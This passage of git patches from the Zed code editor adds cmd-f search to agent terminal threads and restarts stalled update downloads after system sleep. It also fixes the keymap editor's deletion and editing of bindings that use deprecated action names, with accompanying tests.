+                root_repo_is_linked_worktree: false,
             },
             AnyProtoClient::new(NoopProtoClient::new()),
             PathStyle::local(),

From 4aa8ad9742b1ee948d64429a5814d9b9a861350a Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Thu, 2 Jul 2026 20:38:37 +0200
Subject: [PATCH 227/772] agent: Make terminal threads searchable (#60292)

Makes cmd-f work for terminal threads.

Since the agent panel is not part of the normal pane system we have to
manually hook up the search bar.

Closes #57309

Release Notes:

- agent: Added support for searching (cmd-f) inside of terminal threads
---
 assets/keymaps/default-linux.json   |  7 +++
 assets/keymaps/default-macos.json   |  7 +++
 assets/keymaps/default-windows.json |  7 +++
 crates/agent_ui/src/agent_panel.rs  | 71 +++++++++++++++++++++++++++--
 4 files changed, 87 insertions(+), 5 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 90a440a6447af4..8799e032bfa6bc 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -298,6 +298,13 @@
       "alt-r": "search::ToggleRegex",
     },
   },
+  {
+    "context": "AgentTerminalThread",
+    "use_key_equivalents": true,
+    "bindings": {
+      "ctrl-f": "agent::ToggleSearch",
+    },
+  },
   {
     "context": "AcpThreadSearchBar",
     "use_key_equivalents": true,
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 8b4e76dd81f01b..de0f8bd2b46b6c 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -336,6 +336,13 @@
       "alt-cmd-x": "search::ToggleRegex",
     },
   },
+  {
+    "context": "AgentTerminalThread",
+    "use_key_equivalents": true,
+    "bindings": {
+      "cmd-f": "agent::ToggleSearch",
+    },
+  },
   {
     "context": "AcpThreadSearchBar",
     "use_key_equivalents": true,
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 08a9274c3170ca..acc2a82e18ecb8 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -299,6 +299,13 @@
       "alt-r": "search::ToggleRegex",
     },
   },
+  {
+    "context": "AgentTerminalThread",
+    "use_key_equivalents": true,
+    "bindings": {
+      "ctrl-f": "agent::ToggleSearch",
+    },
+  },
   {
     "context": "AcpThreadSearchBar",
     "use_key_equivalents": true,
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index f22037c239af1b..40c15c7179410c 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -85,6 +85,7 @@ use project::{Project, ProjectPath, Worktree};
 use settings::TerminalDockPosition;
 use settings::{NotifyWhenAgentWaiting, Settings, update_settings_file};
 
+use search::{BufferSearchBar, buffer_search::Deploy as DeployBufferSearch};
 use terminal::{Event as TerminalEvent, terminal_settings::TerminalSettings};
 use terminal_view::{TerminalView, terminal_panel::TerminalPanel};
 use text::OffsetRangeExt;
@@ -96,9 +97,9 @@ use ui::{
 use util::ResultExt as _;
 use workspace::{
     CollaboratorId, DraggedSelection, DraggedTab, MultiWorkspace, PathList, SerializedPathList,
-    ToggleWorkspaceSidebar, ToggleZoom, Workspace, WorkspaceId,
+    ToggleWorkspaceSidebar, ToggleZoom, ToolbarItemView, Workspace, WorkspaceId,
     dock::{DockPosition, Panel, PanelEvent},
-    item::ItemEvent,
+    item::{ItemEvent, ItemHandle},
 };
 
 const AGENT_PANEL_KEY: &str = "agent_panel";
@@ -991,6 +992,7 @@ struct AgentTerminal {
     working_directory: Option<PathBuf>,
     created_at: DateTime<Utc>,
     has_notification: bool,
+    search_bar: Option<Entity<BufferSearchBar>>,
     notification_windows: Vec<WindowHandle<AgentNotification>>,
     notification_subscriptions: Vec<Subscription>,
     _subscriptions: Vec<Subscription>,
@@ -2174,6 +2176,7 @@ impl AgentPanel {
             working_directory,
             created_at: created_at.unwrap_or_else(Utc::now),
             has_notification: false,
+            search_bar: None,
             notification_windows: Vec::new(),
             notification_subscriptions: Vec::new(),
             _subscriptions: vec![view_subscription, terminal_subscription],
@@ -3949,6 +3952,37 @@ impl AgentPanel {
         }
     }
 
+    fn toggle_terminal_thread_search(
+        &mut self,
+        _: &crate::ToggleSearch,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(terminal) = self
+            .active_terminal_id()
+            .and_then(|terminal_id| self.terminals.get_mut(&terminal_id))
+        else {
+            cx.propagate();
+            return;
+        };
+
+        let terminal_view = terminal.view.clone();
+        let search_bar = terminal
+            .search_bar
+            .get_or_insert_with(|| cx.new(|cx| BufferSearchBar::new(None, window, cx)))
+            .clone();
+        let deployed = search_bar.update(cx, |search_bar, cx| {
+            let terminal_item: &dyn ItemHandle = &terminal_view;
+            search_bar.set_active_pane_item(Some(terminal_item), window, cx);
+            search_bar.deploy(&DeployBufferSearch::find(), None, window, cx)
+        });
+        if deployed {
+            cx.stop_propagation();
+        } else {
+            cx.propagate();
+        }
+    }
+
     pub fn conversation_view_for_id(
         &self,
         thread_id: &ThreadId,
@@ -6415,6 +6449,7 @@ impl Render for AgentPanel {
             .on_action(cx.listener(Self::decrease_font_size))
             .on_action(cx.listener(Self::reset_font_size))
             .on_action(cx.listener(Self::toggle_zoom))
+            .on_action(cx.listener(Self::toggle_terminal_thread_search))
             .on_action(cx.listener(|this, _: &ReauthenticateAgent, window, cx| {
                 if let Some(conversation_view) = this.active_conversation_view() {
                     conversation_view.update(cx, |conversation_view, cx| {
@@ -6439,9 +6474,35 @@ impl Render for AgentPanel {
                 VisibleSurface::AgentThread(conversation_view) => parent
                     .child(conversation_view.clone())
                     .child(self.render_drag_target(cx)),
-                VisibleSurface::Terminal(terminal_view) => parent
-                    .child(terminal_view.clone())
-                    .child(self.render_drag_target(cx)),
+                VisibleSurface::Terminal(terminal_view) => {
+                    let search_bar = self
+                        .active_terminal_id()
+                        .and_then(|terminal_id| self.terminals.get(&terminal_id))
+                        .and_then(|terminal| terminal.search_bar.clone());
+                    let terminal_content = v_flex()
+                        .key_context("AgentTerminalThread")
+                        .size_full()
+                        .when_some(search_bar, |this, search_bar| {
+                            this.when(!search_bar.read(cx).is_dismissed(), |this| {
+                                this.child(
+                                    v_flex()
+                                        .group("toolbar")
+                                        .relative()
+                                        .py(DynamicSpacing::Base06.rems(cx))
+                                        .px(DynamicSpacing::Base08.rems(cx))
+                                        .border_b_1()
+                                        .border_color(cx.theme().colors().border_variant)
+                                        .bg(cx.theme().colors().toolbar_background)
+                                        .child(search_bar),
+                                )
+                            })
+                        })
+                        .child(terminal_view.clone());
+
+                    parent
+                        .child(terminal_content)
+                        .child(self.render_drag_target(cx))
+                }
             })
             .children(self.render_trial_end_upsell(window, cx));
 

From 2882636c06923e58d83865ecc370bd0d8199d738 Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Thu, 2 Jul 2026 12:13:08 -0700
Subject: [PATCH 228/772] Fix hanging updates after system sleep (#60301)

When Zed was downloading an update and the machine went to sleep, the
download would hang indefinitely on wake because the in-flight TCP
connection had silently died and nothing ever timed it out or retried.
This adds an inactivity `read_timeout` to the HTTP client so a stalled
response body errors out instead of hanging forever
(slow-but-progressing downloads are unaffected, since the timeout resets
on each chunk). It also promotes `App::on_system_wake` to a
multi-subscriber `Subscription` API and uses it in the auto-updater to
cancel an interrupted check/download on wake and start a fresh attempt.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fix hanging Zed update downloads after system sleep
---
 crates/auto_update/src/auto_update.rs       | 28 ++++++++++++
 crates/gpui/src/app.rs                      | 47 +++++++++++++--------
 crates/reqwest_client/src/reqwest_client.rs |  2 +
 3 files changed, 60 insertions(+), 17 deletions(-)

diff --git a/crates/auto_update/src/auto_update.rs b/crates/auto_update/src/auto_update.rs
index 9786aa84d1622f..eb6afcfd67cea5 100644
--- a/crates/auto_update/src/auto_update.rs
+++ b/crates/auto_update/src/auto_update.rs
@@ -170,6 +170,7 @@ pub struct AutoUpdater {
     pending_poll: Option<Task<Option<()>>>,
     quit_subscription: Option<gpui::Subscription>,
     update_check_type: UpdateCheckType,
+    _wake_subscription: gpui::Subscription,
 }
 
 #[derive(Deserialize, Serialize, Clone, Debug)]
@@ -409,6 +410,16 @@ impl AutoUpdater {
         })
         .detach();
 
+        // A download or check that was in flight when the machine went to sleep
+        // is almost certainly riding a TCP connection that silently died during
+        // suspend, so it would otherwise appear to stall indefinitely.
+        let wake_subscription = cx.on_system_wake({
+            let this = cx.entity().downgrade();
+            move |cx| {
+                this.update(cx, |this, cx| this.restart_after_wake(cx)).ok();
+            }
+        });
+
         Self {
             status: AutoUpdateStatus::Idle,
             current_version,
@@ -416,9 +427,26 @@ impl AutoUpdater {
             pending_poll: None,
             quit_subscription,
             update_check_type: UpdateCheckType::Automatic,
+            _wake_subscription: wake_subscription,
         }
     }
 
+    fn restart_after_wake(&mut self, cx: &mut Context<Self>) {
+        // Only network phases can be safely restarted. `Installing` is a local
+        // operation (mounting a dmg, rsync, etc.) that must not be interrupted.
+        if !matches!(
+            self.status,
+            AutoUpdateStatus::Checking | AutoUpdateStatus::Downloading { .. }
+        ) {
+            return;
+        }
+
+        let check_type = self.update_check_type;
+        self.pending_poll.take();
+        self.status = AutoUpdateStatus::Idle;
+        self.poll(check_type, cx);
+    }
+
     pub fn start_polling(&self, cx: &mut Context<Self>) -> Task<Result<()>> {
         let poll_interval =
             ReleaseChannel::try_global(cx).map_or(POLL_INTERVAL, |channel| match channel {
diff --git a/crates/gpui/src/app.rs b/crates/gpui/src/app.rs
index e6ca25ecae075e..ab302a8f06d87f 100644
--- a/crates/gpui/src/app.rs
+++ b/crates/gpui/src/app.rs
@@ -234,23 +234,6 @@ impl Application {
         self
     }
 
-    /// Invokes a handler when the system wakes from sleep.
-    pub fn on_system_wake<F>(&self, mut callback: F) -> &Self
-    where
-        F: 'static + FnMut(&mut App),
-    {
-        let this = Rc::downgrade(&self.0);
-        self.0
-            .borrow_mut()
-            .platform
-            .on_system_wake(Box::new(move || {
-                if let Some(app) = this.upgrade() {
-                    callback(&mut app.borrow_mut());
-                }
-            }));
-        self
-    }
-
     /// Returns a handle to the [`BackgroundExecutor`] associated with this app, which can be used to spawn futures in the background.
     pub fn background_executor(&self) -> BackgroundExecutor {
         self.0.borrow().background_executor.clone()
@@ -656,6 +639,7 @@ pub struct App {
     pub(crate) keystroke_interceptors: SubscriberSet<(), KeystrokeObserver>,
     pub(crate) keyboard_layout_observers: SubscriberSet<(), Handler>,
     pub(crate) thermal_state_observers: SubscriberSet<(), Handler>,
+    pub(crate) system_wake_observers: SubscriberSet<(), Handler>,
     pub(crate) release_listeners: SubscriberSet<EntityId, ReleaseListener>,
     pub(crate) global_observers: SubscriberSet<TypeId, Handler>,
     pub(crate) quit_observers: SubscriberSet<(), QuitHandler>,
@@ -779,6 +763,7 @@ impl App {
                 keystroke_interceptors: SubscriberSet::new(),
                 keyboard_layout_observers: SubscriberSet::new(),
                 thermal_state_observers: SubscriberSet::new(),
+                system_wake_observers: SubscriberSet::new(),
                 global_observers: SubscriberSet::new(),
                 quit_observers: SubscriberSet::new(),
                 restart_observers: SubscriberSet::new(),
@@ -835,6 +820,18 @@ impl App {
             }
         }));
 
+        platform.on_system_wake(Box::new({
+            let app = Rc::downgrade(&app);
+            move || {
+                if let Some(app) = app.upgrade() {
+                    let cx = &mut app.borrow_mut();
+                    cx.system_wake_observers
+                        .clone()
+                        .retain(&(), move |callback| (callback)(cx));
+                }
+            }
+        }));
+
         platform.on_quit(Box::new({
             let cx = Rc::downgrade(&app);
             move || {
@@ -1256,6 +1253,22 @@ impl App {
         subscription
     }
 
+    /// Invokes a handler when the system wakes from sleep.
+    pub fn on_system_wake<F>(&self, mut callback: F) -> Subscription
+    where
+        F: 'static + FnMut(&mut App),
+    {
+        let (subscription, activate) = self.system_wake_observers.insert(
+            (),
+            Box::new(move |cx| {
+                callback(cx);
+                true
+            }),
+        );
+        activate();
+        subscription
+    }
+
     /// Returns the appearance of the application's windows.
     pub fn window_appearance(&self) -> WindowAppearance {
         self.platform.window_appearance()
diff --git a/crates/reqwest_client/src/reqwest_client.rs b/crates/reqwest_client/src/reqwest_client.rs
index 60908d8a8d4f45..e654c6bf620817 100644
--- a/crates/reqwest_client/src/reqwest_client.rs
+++ b/crates/reqwest_client/src/reqwest_client.rs
@@ -30,6 +30,8 @@ impl ReqwestClient {
         reqwest::Client::builder()
             .use_rustls_tls()
             .connect_timeout(Duration::from_secs(10))
+            // Bail out of a request whose body stops producing bytes entirely
+            .read_timeout(Duration::from_secs(30))
             // Detect and drop connections that have silently gone bad on a
             // flaky path (NAT timeouts, resets) instead of reusing them. A
             // stale reused HTTP/2 connection is a common source of

From bb48a42983f2a4bb9ac9d31c63abe02497088f67 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Thu, 2 Jul 2026 15:24:34 -0400
Subject: [PATCH 229/772] keymap_editor: Fix deleting and editing bindings that
 use deprecated action names (#60300)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

In the keymap editor, bindings whose `keymap.json` entries use a
deprecated action alias (e.g. `"editor::CopyRelativePath"` for
`workspace::CopyRelativePath`) could not be deleted or edited. Aliases
resolve to the canonical action on load, so the row displays normally,
but file updates searched for the canonical name and never matched the
alias entry. Deleting failed ("Failed to find keybinding to remove"),
and editing silently fell back to appending a new binding — leaving the
user with duplicate identical-looking rows they couldn't remove.

## Solution

- Thread gpui's deprecated-alias map
(`App::deprecated_actions_to_preferred_actions`) into
`KeymapFile::update_keybinding`, and resolve aliases in file entries
when matching bindings.
- As a side effect, editing an alias-based binding now rewrites the
entry with the canonical action name instead of duplicating it.

## Testing

- Unit tests in `settings` for removing and replacing alias-based
entries.
- End-to-end keymap editor tests (fake fs → keymap load → `KeymapEditor`
→ delete) covering both the alias case and plain duplicate bindings.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed the keymap editor failing to delete or edit key bindings whose
keymap file entries use deprecated action names
---
 crates/keymap_editor/src/keymap_editor.rs | 213 +++++++++++++++++++++-
 crates/settings/src/keymap_file.rs        | 209 ++++++++++++++++++++-
 2 files changed, 413 insertions(+), 9 deletions(-)

diff --git a/crates/keymap_editor/src/keymap_editor.rs b/crates/keymap_editor/src/keymap_editor.rs
index 0bb66ab988c565..aecaea7fcbaf64 100644
--- a/crates/keymap_editor/src/keymap_editor.rs
+++ b/crates/keymap_editor/src/keymap_editor.rs
@@ -1436,8 +1436,15 @@ impl KeymapEditor {
             self.table_interaction_state.read(cx).scroll_offset(),
         ));
         let keyboard_mapper = cx.keyboard_mapper().clone();
+        let deprecated_aliases = cx.deprecated_actions_to_preferred_actions().clone();
         cx.spawn(async move |_, _| {
-            remove_keybinding(to_remove, &fs, keyboard_mapper.as_ref()).await
+            remove_keybinding(
+                to_remove,
+                &fs,
+                keyboard_mapper.as_ref(),
+                &deprecated_aliases,
+            )
+            .await
         })
         .detach_and_notify_err(self.workspace.clone(), window, cx);
     }
@@ -2839,6 +2846,7 @@ impl KeybindingEditorModal {
 
         let create = self.creating;
         let keyboard_mapper = cx.keyboard_mapper().clone();
+        let deprecated_aliases = cx.deprecated_actions_to_preferred_actions().clone();
 
         let action_name = self
             .get_selected_action_name(cx)
@@ -2869,6 +2877,7 @@ impl KeybindingEditorModal {
                 new_action_args.as_deref(),
                 &fs,
                 keyboard_mapper.as_ref(),
+                &deprecated_aliases,
             )
             .await
             {
@@ -3607,6 +3616,7 @@ async fn save_keybinding_update(
     new_args: Option<&str>,
     fs: &Arc<dyn Fs>,
     keyboard_mapper: &dyn PlatformKeyboardMapper,
+    deprecated_aliases: &HashMap<&'static str, &'static str>,
 ) -> anyhow::Result<()> {
     let keymap_contents = settings::KeymapFile::load_keymap_file(fs)
         .await
@@ -3656,6 +3666,7 @@ async fn save_keybinding_update(
         keymap_contents,
         tab_size,
         keyboard_mapper,
+        deprecated_aliases,
     )
     .map_err(|err| anyhow::anyhow!("Could not save updated keybinding: {}", err))?;
     fs.write(
@@ -3678,6 +3689,7 @@ async fn remove_keybinding(
     existing: ProcessedBinding,
     fs: &Arc<dyn Fs>,
     keyboard_mapper: &dyn PlatformKeyboardMapper,
+    deprecated_aliases: &HashMap<&'static str, &'static str>,
 ) -> anyhow::Result<()> {
     let Some(keystrokes) = existing.keystrokes() else {
         anyhow::bail!("Cannot remove a keybinding that does not exist");
@@ -3707,6 +3719,7 @@ async fn remove_keybinding(
         keymap_contents,
         tab_size,
         keyboard_mapper,
+        deprecated_aliases,
     )
     .context("Failed to update keybinding")?;
     fs.write(
@@ -4015,6 +4028,204 @@ mod persistence {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use fs::FakeFs;
+    use gpui::{TestAppContext, VisualTestContext};
+    use project::Project;
+    use serde_json::json;
+    use settings::KeymapFileLoadResult;
+    use workspace::{AppState, MultiWorkspace};
+
+    async fn reload_keymap_from_file(fs: &Arc<FakeFs>, cx: &mut TestAppContext) {
+        let content = fs.load(paths::keymap_file().as_path()).await.unwrap();
+        cx.update(|cx| {
+            let mut key_bindings = match KeymapFile::load(&content, cx) {
+                KeymapFileLoadResult::Success { key_bindings } => key_bindings,
+                KeymapFileLoadResult::SomeFailedToLoad { error_message, .. } => {
+                    panic!("keymap failed to load: {error_message:?}")
+                }
+                KeymapFileLoadResult::JsonParseFailure { error } => {
+                    panic!("keymap json parse failure: {error}")
+                }
+            };
+            cx.clear_key_bindings();
+            for key_binding in &mut key_bindings {
+                key_binding.set_meta(KeybindSource::User.meta());
+            }
+            cx.bind_keys(key_bindings);
+            KeymapEventChannel::trigger_keymap_changed(cx);
+        });
+    }
+
+    async fn setup_keymap_editor(
+        cx: &mut TestAppContext,
+        keymap_content: &str,
+    ) -> (Arc<FakeFs>, Entity<KeymapEditor>, VisualTestContext) {
+        cx.update(|cx| {
+            let _state = AppState::test(cx);
+            editor::init(cx);
+            cx.set_global(KeymapEventChannel::new());
+        });
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            paths::config_dir(),
+            json!({ "keymap.json": keymap_content }),
+        )
+        .await;
+
+        reload_keymap_from_file(&fs, cx).await;
+
+        let project = Project::test(fs.clone(), [], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .unwrap();
+        let mut cx = VisualTestContext::from_window(window_handle.into(), cx);
+        let keymap_editor = cx
+            .update(|window, cx| cx.new(|cx| KeymapEditor::new(workspace.downgrade(), window, cx)));
+        cx.run_until_parked();
+        (fs, keymap_editor, cx)
+    }
+
+    fn visible_rows_for_action(editor: &KeymapEditor, action_name: &str) -> Vec<usize> {
+        editor
+            .matches
+            .iter()
+            .enumerate()
+            .filter(|(_, string_match)| {
+                let binding = &editor.keybindings[string_match.candidate_id];
+                binding.action().name == action_name && binding.keystrokes().is_some()
+            })
+            .map(|(index, _)| index)
+            .collect()
+    }
+
+    #[gpui::test]
+    async fn test_delete_one_of_two_identical_user_bindings(cx: &mut TestAppContext) {
+        let keymap_content = r#"[
+    {
+        "bindings": {
+            "alt-cmd-shift-c": "zed::OpenKeymap"
+        }
+    },
+    {
+        "bindings": {
+            "alt-cmd-shift-c": "zed::OpenKeymap"
+        }
+    }
+]"#;
+        let (fs, keymap_editor, mut cx) = setup_keymap_editor(cx, keymap_content).await;
+        let cx = &mut cx;
+
+        let rows = keymap_editor.read_with(cx, |editor, _| {
+            visible_rows_for_action(editor, "zed::OpenKeymap")
+        });
+        assert_eq!(
+            rows.len(),
+            2,
+            "expected the two duplicate bindings to show as two rows"
+        );
+
+        keymap_editor.update_in(cx, |editor, window, cx| {
+            editor.selected_index = Some(rows[1]);
+            editor.delete_binding(&DeleteBinding, window, cx);
+        });
+        cx.run_until_parked();
+
+        let content = fs.load(paths::keymap_file().as_path()).await.unwrap();
+        assert_eq!(
+            content.matches("alt-cmd-shift-c").count(),
+            1,
+            "expected exactly one binding remaining in the keymap file, got:\n{content}"
+        );
+
+        // Simulate the keymap file watcher reacting to the change.
+        reload_keymap_from_file(&fs, cx).await;
+        cx.run_until_parked();
+
+        let rows = keymap_editor.read_with(cx, |editor, _| {
+            visible_rows_for_action(editor, "zed::OpenKeymap")
+        });
+        assert_eq!(rows.len(), 1, "expected one row remaining after deletion");
+    }
+
+    // Regression test: one of the two entries in the keymap file uses a
+    // deprecated alias of the action (`editor::CopyRelativePath` instead of
+    // `workspace::CopyRelativePath`). Both rows display identically in the
+    // keymap editor (aliases resolve to the canonical action on load), but
+    // deletion targets the canonical action name, so `KeymapFile::update_keybinding`
+    // used to never find the alias entry, making it impossible to delete.
+    #[gpui::test]
+    async fn test_delete_binding_with_deprecated_action_alias(cx: &mut TestAppContext) {
+        let keymap_content = r#"[
+    {
+        "bindings": {
+            "alt-cmd-shift-c": "editor::CopyRelativePath"
+        }
+    },
+    {
+        "bindings": {
+            "alt-cmd-shift-c": "workspace::CopyRelativePath"
+        }
+    }
+]"#;
+        let (fs, keymap_editor, mut cx) = setup_keymap_editor(cx, keymap_content).await;
+        let cx = &mut cx;
+
+        let rows = keymap_editor.read_with(cx, |editor, _| {
+            visible_rows_for_action(editor, "workspace::CopyRelativePath")
+        });
+        assert_eq!(
+            rows.len(),
+            2,
+            "both the alias and the canonical entry should show as (identical) rows"
+        );
+
+        // Delete the first row. Both rows report the canonical action name, so
+        // `find_binding` matches the canonical file entry and removes it.
+        keymap_editor.update_in(cx, |editor, window, cx| {
+            editor.selected_index = Some(rows[0]);
+            editor.delete_binding(&DeleteBinding, window, cx);
+        });
+        cx.run_until_parked();
+
+        let content = fs.load(paths::keymap_file().as_path()).await.unwrap();
+        assert_eq!(
+            content.matches("alt-cmd-shift-c").count(),
+            1,
+            "first deletion should remove one of the two entries, got:\n{content}"
+        );
+
+        // Simulate the keymap file watcher reacting to the change.
+        reload_keymap_from_file(&fs, cx).await;
+        cx.run_until_parked();
+
+        let rows = keymap_editor.read_with(cx, |editor, _| {
+            visible_rows_for_action(editor, "workspace::CopyRelativePath")
+        });
+        assert_eq!(
+            rows.len(),
+            1,
+            "one row should remain after the first deletion"
+        );
+
+        // Delete the remaining row (the alias entry). `find_binding` must
+        // resolve the deprecated alias in the file to the canonical action
+        // name to find and remove it.
+        keymap_editor.update_in(cx, |editor, window, cx| {
+            editor.selected_index = Some(rows[0]);
+            editor.delete_binding(&DeleteBinding, window, cx);
+        });
+        cx.run_until_parked();
+
+        let content = fs.load(paths::keymap_file().as_path()).await.unwrap();
+        assert_eq!(
+            content.matches("alt-cmd-shift-c").count(),
+            0,
+            "second deletion should remove the remaining (alias) entry, got:\n{content}"
+        );
+    }
 
     #[test]
     fn normalized_ctx_cmp() {
diff --git a/crates/settings/src/keymap_file.rs b/crates/settings/src/keymap_file.rs
index 9f734939d73b5c..72d5606af43a13 100644
--- a/crates/settings/src/keymap_file.rs
+++ b/crates/settings/src/keymap_file.rs
@@ -893,6 +893,7 @@ impl KeymapFile {
         mut keymap_contents: String,
         tab_size: usize,
         keyboard_mapper: &dyn gpui::PlatformKeyboardMapper,
+        deprecated_aliases: &HashMap<&'static str, &'static str>,
     ) -> Result<String> {
         // When replacing or removing a non-user binding, we may need to write an unbind entry
         // to suppress the original default binding.
@@ -937,9 +938,13 @@ impl KeymapFile {
                 let target_action_value = target
                     .action_value()
                     .context("Failed to generate target action JSON value")?;
-                let Some(binding_location) =
-                    find_binding(&keymap, target, &target_action_value, keyboard_mapper)
-                else {
+                let Some(binding_location) = find_binding(
+                    &keymap,
+                    target,
+                    &target_action_value,
+                    keyboard_mapper,
+                    deprecated_aliases,
+                ) else {
                     anyhow::bail!("Failed to find keybinding to remove");
                 };
                 let is_only_binding = binding_location.is_only_entry_in_section(&keymap);
@@ -973,9 +978,13 @@ impl KeymapFile {
                 .action_value()
                 .context("Failed to generate source action JSON value")?;
 
-            if let Some(binding_location) =
-                find_binding(&keymap, &target, &target_action_value, keyboard_mapper)
-            {
+            if let Some(binding_location) = find_binding(
+                &keymap,
+                &target,
+                &target_action_value,
+                keyboard_mapper,
+                deprecated_aliases,
+            ) {
                 if target.context == source.context {
                     // if we are only changing the keybinding (common case)
                     // not the context, etc. Then just update the binding in place
@@ -1072,7 +1081,7 @@ impl KeymapFile {
             let use_key_equivalents = from.and_then(|from| {
                 let action_value = from.action_value().context("Failed to serialize action value. `use_key_equivalents` on new keybinding may be incorrect.").log_err()?;
                 let binding_location =
-                    find_binding(&keymap, &from, &action_value, keyboard_mapper)?;
+                    find_binding(&keymap, &from, &action_value, keyboard_mapper, deprecated_aliases)?;
                 Some(keymap.0[binding_location.index].use_key_equivalents)
             }).unwrap_or(false);
             if use_key_equivalents {
@@ -1122,6 +1131,7 @@ impl KeymapFile {
             target: &KeybindUpdateTarget<'a>,
             target_action_value: &Value,
             keyboard_mapper: &dyn gpui::PlatformKeyboardMapper,
+            deprecated_aliases: &HashMap<&'static str, &'static str>,
         ) -> Option<BindingLocation<'b>> {
             let target_context_parsed =
                 KeyBindingContextPredicate::parse(target.context.unwrap_or("")).ok();
@@ -1139,6 +1149,7 @@ impl KeymapFile {
                     target,
                     target_action_value,
                     keyboard_mapper,
+                    deprecated_aliases,
                     |action| &action.0,
                 ) {
                     return Some(binding_location);
@@ -1151,6 +1162,7 @@ impl KeymapFile {
                     target,
                     target_action_value,
                     keyboard_mapper,
+                    deprecated_aliases,
                     |action| &action.0,
                 ) {
                     return Some(binding_location);
@@ -1166,6 +1178,7 @@ impl KeymapFile {
             target: &KeybindUpdateTarget<'a>,
             target_action_value: &Value,
             keyboard_mapper: &dyn gpui::PlatformKeyboardMapper,
+            deprecated_aliases: &HashMap<&'static str, &'static str>,
             action_value: impl Fn(&T) -> &Value,
         ) -> Option<BindingLocation<'b>> {
             let entries = entries?;
@@ -1192,7 +1205,11 @@ impl KeymapFile {
                 {
                     continue;
                 }
-                if action_value(action) != target_action_value {
+                if !action_value_matches_target(
+                    action_value(action),
+                    target_action_value,
+                    deprecated_aliases,
+                ) {
                     continue;
                 }
                 return Some(BindingLocation {
@@ -1204,6 +1221,40 @@ impl KeymapFile {
             None
         }
 
+        /// Compares a keymap file entry's action value against the target action
+        /// value. The target is built from a loaded binding's canonical action
+        /// name, while the file entry may still use a deprecated alias.
+        fn action_value_matches_target(
+            action_value: &Value,
+            target_action_value: &Value,
+            deprecated_aliases: &HashMap<&'static str, &'static str>,
+        ) -> bool {
+            if action_value == target_action_value {
+                return true;
+            }
+            let (name, arguments) = match action_value {
+                Value::String(name) => (name.as_str(), None),
+                Value::Array(items) => match items.as_slice() {
+                    [Value::String(name), arguments] => (name.as_str(), Some(arguments)),
+                    _ => return false,
+                },
+                _ => return false,
+            };
+            let Some(&preferred_name) = deprecated_aliases.get(name) else {
+                return false;
+            };
+            match target_action_value {
+                Value::String(target_name) => target_name == preferred_name && arguments.is_none(),
+                Value::Array(items) => match items.as_slice() {
+                    [Value::String(target_name), target_arguments] => {
+                        target_name == preferred_name && arguments == Some(target_arguments)
+                    }
+                    _ => false,
+                },
+                _ => false,
+            }
+        }
+
         #[derive(Copy, Clone)]
         enum BindingKind {
             Binding,
@@ -1525,6 +1576,7 @@ impl Action for ActionSequence {
 
 #[cfg(test)]
 mod tests {
+    use collections::HashMap;
     use gpui::{Action, App, DummyKeyboardMapper, KeybindingKeystroke, Keystroke, Unbind};
     use serde_json::Value;
     use unindent::Unindent;
@@ -1742,11 +1794,23 @@ mod tests {
         operation: KeybindUpdateOperation,
         expected: impl ToString,
     ) {
+        check_keymap_update_with_deprecated_aliases(input, operation, expected, &[]);
+    }
+
+    #[track_caller]
+    fn check_keymap_update_with_deprecated_aliases(
+        input: impl ToString,
+        operation: KeybindUpdateOperation,
+        expected: impl ToString,
+        deprecated_aliases: &[(&'static str, &'static str)],
+    ) {
+        let deprecated_aliases = HashMap::from_iter(deprecated_aliases.iter().copied());
         let result = KeymapFile::update_keybinding(
             operation,
             input.to_string(),
             4,
             &gpui::DummyKeyboardMapper,
+            &deprecated_aliases,
         )
         .expect("Update succeeded");
         pretty_assertions::assert_eq!(expected.to_string(), result);
@@ -2567,6 +2631,135 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_keymap_remove_duplicate_binding() {
+        zlog::init_test();
+
+        // Repro: user created two identical bindings via the keymap editor UI,
+        // resulting in two sections with the same keystrokes and action.
+        // Deleting one of them should remove exactly one section.
+        check_keymap_update(
+            r#"
+            [
+              {
+                "bindings": {
+                  "alt-cmd-shift-c": "workspace::CopyRelativePath"
+                }
+              },
+              {
+                "bindings": {
+                  "alt-cmd-shift-c": "workspace::CopyRelativePath"
+                }
+              }
+            ]
+            "#
+            .unindent(),
+            KeybindUpdateOperation::Remove {
+                target: KeybindUpdateTarget {
+                    context: None,
